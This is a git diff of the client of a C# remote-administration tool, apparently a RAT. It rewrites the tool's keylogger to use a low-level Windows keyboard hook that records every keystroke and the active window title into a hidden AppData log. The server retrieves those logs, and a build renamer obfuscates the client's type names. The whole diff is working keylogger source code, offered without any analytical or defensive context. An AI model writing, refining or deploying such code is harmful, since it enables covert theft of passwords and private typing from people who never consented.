diff --git a/Client/Core/Keylogger/KeyloggerHelpers.cs b/Client/Core/Keylogger/KeyloggerHelpers.cs index 3eca2ec7..e53baa3d 100644 --- a/Client/Core/Keylogger/KeyloggerHelpers.cs +++ b/Client/Core/Keylogger/KeyloggerHelpers.cs @@ -4,6 +4,7 @@ using System.Text; using System.Reflection; using xClient.Core.Keylogger; using System.Runtime.CompilerServices; +using System.Windows.Forms; namespace xClient.Core.Keylogger { @@ -92,7 +93,7 @@ namespace xClient.Core.Keylogger /// True if key is pressed; False if the key is not. public static bool IsKeyPressed(this short sender) { - return (sender & 0x8000) == 0x8000; + return (sender & 0x8000) != 0; } /// @@ -102,7 +103,7 @@ namespace xClient.Core.Keylogger /// True if toggled on; False if toggled off. public static bool IsKeyToggled(this short sender) { - return (sender & 0xffff) == 0xffff; + return (sender & 0x0001) != 0; } public static string BuildString(this KeyloggerModifierKeys sender) @@ -118,14 +119,28 @@ namespace xClient.Core.Keylogger string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName(); if (!string.IsNullOrEmpty(CtrlName)) - BuiltModifierKeys.Append(CtrlName + " +"); + BuiltModifierKeys.Append(CtrlName + " + "); } if (sender.AltKeyPressed) { string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName(); if (!string.IsNullOrEmpty(AltName)) - BuiltModifierKeys.Append(" " + AltName + " +"); + BuiltModifierKeys.Append(AltName + " + "); + } + if (sender.ShiftKeyPressed) + { + string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(ShiftName)) + BuiltModifierKeys.Append(ShiftName + " + "); + } + if (sender.WindowsKeyPressed) + { + string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(WinName)) + BuiltModifierKeys.Append(WinName + " + "); } return BuiltModifierKeys.ToString(); diff --git a/Client/Core/Keylogger/KeyloggerKeys.cs b/Client/Core/Keylogger/KeyloggerKeys.cs index 05547efb..151f3802 100644 --- a/Client/Core/Keylogger/KeyloggerKeys.cs +++ b/Client/Core/Keylogger/KeyloggerKeys.cs @@ -20,10 +20,10 @@ namespace xClient.Core.Keylogger public bool ShiftKeyPressed { get; set; } public bool AltKeyPressed { get; set; } public bool CtrlKeyPressed { get; set; } - public bool CapsLock { get; set; } public bool NumLock { get; set; } public bool ScrollLock { get; set; } + public bool WindowsKeyPressed { get; set; } } /// @@ -36,10 +36,12 @@ namespace xClient.Core.Keylogger /// Gets the key that was pressed. /// public KeyloggerKeys PressedKey { get; set; } + /// /// An object with the purpose of storing the states of modifier keys. /// public KeyloggerModifierKeys ModifierKeys { get; private set; } + /// /// Determines if one of the modifier keys (excluding shift and caps /// lock) has been set. @@ -61,14 +63,16 @@ namespace xClient.Core.Keylogger // Modifier keys that have a state (toggle 'on' or 'off'). CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(), NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(), - ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled() + ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled(), + WindowsKeyPressed = + Win32.GetAsyncKeyState(KeyloggerKeys.VK_LWIN).IsKeyToggled() || + Win32.GetAsyncKeyState(KeyloggerKeys.VK_RWIN).IsKeyToggled() }; // To avoid having to repeatedly check if one of the modifier // keys (besides shift and caps lock) was set, just simply // decide and then store it right here. - ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || - ModifierKeys.NumLock || ModifierKeys.ScrollLock); + ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || ModifierKeys.WindowsKeyPressed); } } @@ -178,7 +182,7 @@ namespace xClient.Core.Keylogger /// /// SPACEBAR key. /// - [KeyloggerKey("SPACE", true)] + [KeyloggerKey(" ")] VK_SPACE = 0x20, /// @@ -793,37 +797,37 @@ namespace xClient.Core.Keylogger /// /// Left SHIFT key. /// - [KeyloggerKey("LSHIFT", true)] + [KeyloggerKey("SHIFT", true)] VK_LSHIFT = 0xA0, /// /// Right SHIFT key. /// - [KeyloggerKey("RSHIFT", true)] + [KeyloggerKey("SHIFT", true)] VK_RSHIFT = 0xA1, /// /// Left CONTROL (CTRL) key. /// - [KeyloggerKey("LCTRL", true)] + [KeyloggerKey("CTRL", true)] VK_LCONTROL = 0xA2, /// /// Right CONTROL (CTRL) key. /// - [KeyloggerKey("RCTRL", true)] + [KeyloggerKey("CTRL", true)] VK_RCONTROL = 0xA3, /// /// Left MENU key. /// - [KeyloggerKey("LALT", true)] + [KeyloggerKey("ALT", true)] VK_LMENU = 0xA4, /// /// Right MENU key. /// - [KeyloggerKey("RALT", true)] + [KeyloggerKey("ALT", true)] VK_RMENU = 0xA5, /// diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index f01c166d..92e384e5 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -1,11 +1,10 @@ using System; using System.Collections.Generic; using System.IO; -using System.Runtime.InteropServices; using System.Text; -using System.Threading; using System.Windows.Forms; -using xClient.Core.Keylogger; +using System.Diagnostics; +using System.Runtime.InteropServices; namespace xClient.Core.Keylogger { @@ -13,13 +12,11 @@ namespace xClient.Core.Keylogger { public static Logger Instance; + private bool IsEnabled = false; public bool Enabled { - get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; } - set - { - _timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value; - } + get { return this.IsEnabled; } + set { SetHook(value); } } private StringBuilder _logFileBuffer; @@ -29,17 +26,33 @@ namespace xClient.Core.Keylogger private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; - private readonly KeyloggerKeys[] _allKeys; - private readonly KeyloggerKeys[] _specialKeys; - private volatile List _keyBuffer; - private readonly System.Timers.Timer _timerLogKeys; - private readonly System.Timers.Timer _timerEmptyKeyBuffer; + private LoggedKey keyToLog; + private readonly List _keysDown = new List(); private readonly System.Timers.Timer _timerFlush; + public struct KeyData + { + public int vkCode; + public int scanCode; + public int flags; + public int time; + public int dwExtraInfo; + } + + private const int WM_KEYDOWN = 0x100; + private const int WM_KEYUP = 0x101; + private const int WM_SYSKEYDOWN = 0x104; + private const int WM_SYSKEYUP = 0x105; + private const int WH_KEYBOARD_LL = 13; + + public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam); + private HookProcDelegate _hook; + + private IntPtr _hookHandle = IntPtr.Zero; + /// /// Creates the logging class that provides keylogging functionality. /// - /// The interval, in milliseconds, to flush the contents of the keylogger to the file. public Logger(double flushInterval) { Instance = this; @@ -47,84 +60,12 @@ namespace xClient.Core.Keylogger WriteFile(); - _allKeys = GetKeyloggerKeys(); - _specialKeys = GetSpecialKeys(); - - _keyBuffer = new List(); - - this._timerLogKeys = new System.Timers.Timer { Enabled = false, Interval = 10 }; - this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed; - - this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 }; - this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed; - this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval }; this._timerFlush.Elapsed += this.timerFlush_Elapsed; this._logFileBuffer = new StringBuilder(); } - /// - /// Retrieves an array of all keylogger keys that are special. - /// - /// - private KeyloggerKeys[] GetSpecialKeys() - { - List SpecialKeys = new List(); - - try - { - foreach (KeyloggerKeys key in _allKeys) - { - try - { - if (key.IsSpecialKey()) - { - SpecialKeys.Add(key); - } - } - catch - { } - } - } - catch - { } - - return SpecialKeys.ToArray(); - } - - /// - /// Retrieves an array of all keylogger keys that are supported. - /// - /// - private KeyloggerKeys[] GetKeyloggerKeys() - { - List NormalKeys = new List(); - - try - { - foreach (KeyloggerKeys key in Enum.GetValues(typeof(KeyloggerKeys))) - { - try - { - // Must be supported (have a string representation of the key). - if (!string.IsNullOrEmpty(key.GetKeyloggerKeyName())) - { - NormalKeys.Add(key); - } - } - catch - { } - } - - return NormalKeys.ToArray(); - } - catch - { - return new KeyloggerKeys[0]; - } - } - private string HighlightSpecialKey(string name) { if (!string.IsNullOrEmpty(name)) @@ -137,108 +78,110 @@ namespace xClient.Core.Keylogger } } - private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) + private int HookProc(int nCode, int wParam, ref KeyData lParam) { - int j = 0; - - foreach (var k in _keyBuffer) + if (nCode >= 0) { - try + switch (wParam) { - // Make sure that the key that was logged is not null. - // If it is, we can safely ignore it by just making it - // stop here. - if (k != null) - { - // If any modifier key was set besides shift and caps - // lock, we will handle it differently than we would - // normal keys. - if (k.ModifierKeysSet) - { - // If the pressed key is special, it should be treated as such - // by using its provided name. - if (k.PressedKey.IsSpecialKey()) - { - // The returned string could be empty. If it is, ignore it - // because we don't know how to handle that special key. - // The key would be considered unsupported. - string pressedKey = k.PressedKey.GetKeyloggerKeyName(); + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + //TODO - handle modifier keys in a better way + // + // If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a] + // perhaps some sort of filter? + keyToLog = new LoggedKey(); + keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode; - if (!string.IsNullOrEmpty(pressedKey)) + if (!_keysDown.Contains(keyToLog)) + { + try + { + _hWndTitle = GetActiveWindowTitle(); //Get active thread window title + if (!string.IsNullOrEmpty(_hWndTitle)) { - _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); + // Only write the title to the log file if the names are different. + if (_hWndTitle != _hWndLastTitle) + { + _hWndLastTitle = _hWndTitle; + _logFileBuffer.Append("

[" + _hWndTitle + "]
"); + } + } + + if (keyToLog.ModifierKeysSet) + { + if (keyToLog.PressedKey.IsSpecialKey()) + { + // The returned string could be empty. If it is, ignore it + // because we don't know how to handle that special key. + // The key would be considered unsupported. + string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(pressedKey)) + { + _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); + } + } + else + { + // The pressed key is not special, but we have encountered + // a situation of multiple key presses, so just build them. + _logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() + + FromKeys(keyToLog))); + } + } + else + { + if (keyToLog.PressedKey.IsSpecialKey()) + { + string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(pressedKey)) + { + _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); + } + } + else + { + _logFileBuffer.Append(FromKeys(keyToLog)); + } } } - else + catch { - // The pressed key is not special, but we have encountered - // a situation of multiple key presses, so just build them. - _logFileBuffer.Append(HighlightSpecialKey(k.ModifierKeys.BuildString() + - FromKeys(k, false))); } - } - // We don't have to worry about nearly all modifier keys... - // With the exception of the shift key and caps lock! :) - // At this point we know that shift or caps lock was the - // only pressed key. - else - { - // There is not really a need to handle if caps lock or - // shift has been handled because the way we obtain the - // value of the pressed key (that is not special) will - // use the key states and determine for us. - _logFileBuffer.Append(FromKeys(k)); - } - } - } - catch - { } - j++; + _keysDown.Add(keyToLog); //avoid multiple keypress holding down a key + } + break; + case WM_KEYUP: + case WM_SYSKEYUP: + _keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message + break; + } } - if (j > 0 && j <= _keyBuffer.Count) - { - try - { - _keyBuffer.RemoveRange(0, j); - } - catch - { } - } + return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam); } - private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) + private void SetHook(bool enable) { - // Loop through each value in the array of keys to record. - foreach (byte i in _allKeys) + switch (enable) { - // GetAsycKeyState returns the result by setting the most significant - // bit if the key is up, and sets the least significant bit if the - // key was pressed. - if (Win32.GetAsyncKeyState(i) == -32767) - { - try - { - LoggedKey KeyToLog = new LoggedKey() { PressedKey = (KeyloggerKeys)i }; - KeyToLog.RecordModifierKeys(); - - _keyBuffer.Add(KeyToLog); - _hWndTitle = GetActiveWindowTitle(); //Get active thread window title - - if (!string.IsNullOrEmpty(_hWndTitle)) - { - // Only write the title to the log file if the names are different. - if (_hWndTitle != _hWndLastTitle) - { - _hWndLastTitle = _hWndTitle; - _logFileBuffer.Append("

[" + _hWndTitle + "]
"); - } - } - } - catch - { } - } + case true: + _hook = new HookProcDelegate(HookProc); + _hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); + //hook installed, enabled + _timerFlush.Enabled = true; + IsEnabled = true; + Application.Run(); //start message pump for our hook on this thread + break; + case false: + _timerFlush.Enabled = false; + if (_hookHandle != IntPtr.Zero) + Win32.UnhookWindowsHookEx(_hookHandle); + Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory + break; } } @@ -312,20 +255,23 @@ namespace xClient.Core.Keylogger return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid)); } - private char? FromKeys(LoggedKey key, bool AllowCapitalization = true) + private char? FromKeys(LoggedKey key) { //keyStates is a byte array that specifies the current state of the keyboard and keys //The keys we are interested in are modifier keys such as shift and caps lock byte[] keyStates = new byte[256]; - keyStates[(int)KeyloggerKeys.VK_SHIFT] = (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_CAPITAL] = (key.ModifierKeys.CapsLock && AllowCapitalization) ? (byte)128 : (byte)0; + if (key.ModifierKeys.ShiftKeyPressed) + keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80; - keyStates[(int)KeyloggerKeys.VK_MENU] = key.ModifierKeys.CtrlKeyPressed ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_CONTROL] = key.ModifierKeys.AltKeyPressed ? (byte)128 : (byte)0; + if (key.ModifierKeys.CapsLock) + keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01; - keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = key.ModifierKeys.NumLock ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_SCROLL] = key.ModifierKeys.ScrollLock ? (byte)128 : (byte)0; + if (key.ModifierKeys.NumLock) + keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01; + + if (key.ModifierKeys.ScrollLock) + keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01; var sb = new StringBuilder(10); diff --git a/Client/Core/Keylogger/Win32.cs b/Client/Core/Keylogger/Win32.cs index f8eb5309..c3571119 100644 --- a/Client/Core/Keylogger/Win32.cs +++ b/Client/Core/Keylogger/Win32.cs @@ -1,10 +1,6 @@ using System; -using System.Collections.Generic; -using System.IO; using System.Runtime.InteropServices; using System.Text; -using System.Threading; -using System.Windows.Forms; namespace xClient.Core.Keylogger { @@ -49,5 +45,20 @@ namespace xClient.Core.Keylogger [DllImport("user32.dll", ExactSpelling = true)] internal static extern IntPtr GetKeyboardLayout(uint threadId); + + [DllImport("kernel32.dll")] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] + internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + internal static extern IntPtr GetModuleHandle(string lpModuleName); } } \ No newline at end of file diff --git a/Client/Program.cs b/Client/Program.cs index 7794adaa..21358417 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -98,7 +98,7 @@ namespace xClient typeof (Core.Packets.ClientPackets.MonitorsResponse), typeof (Core.Packets.ClientPackets.ShellCommandResponse), typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), - typeof (Core.Packets.ClientPackets.GetLogsResponse) + typeof (Core.Packets.ClientPackets.GetLogsResponse), }); ConnectClient.ClientState += ClientState; @@ -330,7 +330,7 @@ namespace xClient } else if (type == typeof(Core.Packets.ServerPackets.GetLogs)) { - CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client); + CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client); } } } diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs index 5ee961f7..4d5ea7ae 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Server/Core/Build/Renamer.cs @@ -58,9 +58,14 @@ namespace xServer.Core.Build private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") || - typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" || - typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf")) + if (typeDef.Namespace.StartsWith("My") + || typeDef.Namespace.StartsWith("xClient.Core.Packets") + || typeDef.Namespace == "xClient.Core" + || typeDef.Namespace == "xClient.Core.Elevation" + || typeDef.Namespace == "xClient.Core.Compression" + || typeDef.Namespace.StartsWith("ProtoBuf") + || typeDef.Namespace.Contains("xClient.Core.ReverseProxy") + || typeDef.Namespace.Contains("xClient.Core.Keylogger")) return; TypeOverloader.GiveName(typeDef);